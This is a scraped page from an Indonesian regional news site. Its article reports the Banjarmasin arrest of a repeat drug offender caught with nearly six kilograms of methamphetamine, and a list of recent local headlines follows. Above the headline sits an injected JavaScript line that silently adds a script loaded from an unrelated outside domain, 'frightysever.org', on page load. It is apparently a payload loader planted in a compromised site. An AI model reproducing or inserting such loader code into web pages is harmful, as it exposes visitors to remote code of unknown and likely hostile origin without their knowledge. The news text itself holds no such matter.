(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pengedar Narkoba Jaringan Kalbar Ditangkap di Banjarmasin, 6 Kg Sabu Disita


KANALKALIMANTAN.COM, BANJARMASIN – Direktorat Reserse Narkoba Kepolisian Daerah Kalimantan Selatan (Ditresnarkoba Polda Kalsel) berhasil menangkap seorang pengedar narkoba dari jaringan Kalimantan Barat (Kalbar) yang menyimpan 6 kilogram sabu di Banjarmasin.

“Tersangka AH (33) ditangkap pada Rabu (24/7/2024) saat melakukan transaksi sabu di Jalan Ahmad Yani Km 2 Banjarmasin,” kata Direktur Reserse Narkoba Polda Kalsel Kombes Pol Kelana Jaya, Selasa (30/7/2024).

Pengungkapan Kasus

Menurut Kombes Pol Kelana Jaya, pengungkapan kasus berawal dari informasi masyarakat yang ditindaklanjuti oleh tim Opsnal Subdit III pimpinan Kasubdit III Ditresnarkoba Polda Kalsel AKBP Ade Harri Sistriawan. Polisi melakukan penyergapan terhadap tersangka dan menemukan satu paket sabu dengan berat 100,53 gram di badannya.

Baca juga: Alibi Polisi Batu Bara Tak Bertuan, Penambang Ilegal Bebas Beraksi di Jalan Poros Bontang-Samarinda

Pengembangan Kasus

Pengembangan lebih lanjut dilakukan di rumah tersangka di Jalan Belitung Darat, Banjarmasin, yang hasilnya ditemukan 13 paket sabu engan berat total 5.855 gram. Secara keseluruhan, barang bukti yang disita dari tersangka berjumlah 14 paket sabu dengan berat total 5.955,53 gram atau hampir enam kilogram.

Peran Tersangka

Kombes Pol Kelana menjelaskan bahwa tersangka AH berperan sebagai kurir sekaligus gudang penyimpanan sabu yang dikendalikan oleh jaringan dari Kalbar. Tim Opsnal Subdit III Ditresnarkoba Polda Kalsel masih melakukan pengembangan untuk mengetahui apakah kasus ini terkait dengan jaringan 20 kilogram sabu yang diungkap pada 9 Juli 2024 lalu.

“Pengakuan tersangka, ada seseorang yang menghubunginya untuk mengambil satu koper warna hitam dan tas kain berisi sabu yang diduga dari pengiriman wilayah Kalimantan Barat,” ungkap mantan Kapolres Kota Banjarbaru ini.

Tersangka Residivis

Baca juga: Yamin-Hj Ananda Berpasangan di Pilwali Banjarmasin, Koalisi Gerindra-Nasdem

Tersangka AH diketahui sebagai residivis yang pernah dihukum dalam perkara tindak pidana narkotika pada tahun 2015 dengan hukuman penjara selama enam tahun tiga bulan. Hukuman serupa pun menanti setelah tersangka dijerat dengan Pasal 114 ayat (2) Subs Pasal 112 ayat (2) Undang-Undang Nomor 35 tahun 2009 tentang Narkotika.

Penegasan Hukum

Kombes Pol Kelana Jaya menegaskan bahwa pihaknya akan terus berupaya untuk memberantas peredaran narkoba di wilayah Kalimantan Selatan dan mengimbau masyarakat untuk terus memberikan informasi terkait penyalahgunaan narkoba. (Kanalkalimantan/Suara.com/kk)

Editor : bie


Risa

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

2 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

2 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

2 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

5 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

11 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.